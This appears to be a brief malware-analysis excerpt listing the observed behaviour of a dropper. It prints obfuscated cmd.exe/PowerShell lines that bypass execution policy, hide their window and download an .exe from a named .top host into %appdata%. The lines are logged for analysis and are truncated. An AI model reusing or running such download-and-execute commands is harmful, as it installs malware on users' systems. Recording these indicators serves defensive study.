Technical Information
- http://www.zonedopesa.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PowERsheLL.EXe -ExECTiONpolICy bYpass -NoPRoFIle -WinDoWSTYle HIddEN (New-obJEcT SYsTEm.neT.WebCLIent).dOWnloaDFiLE('http://www.zonedopesa.top/read.php?f=1.gif','%aPPDaTA%.eXe'...
- '<SYSTEM32>\cmd.exe' /c "PowERsheLL.EXe -ExECTiONpolICy bYpass -NoPRoFIle -WinDoWSTYle HIddEN (New-obJEcT SYsTEm.neT.WebCLIent).dOWnloaDFiLE('http://www.zonedopesa.top/read.php?f=1.gif','%aPPDaTA%.eXe'...' (with hidden window)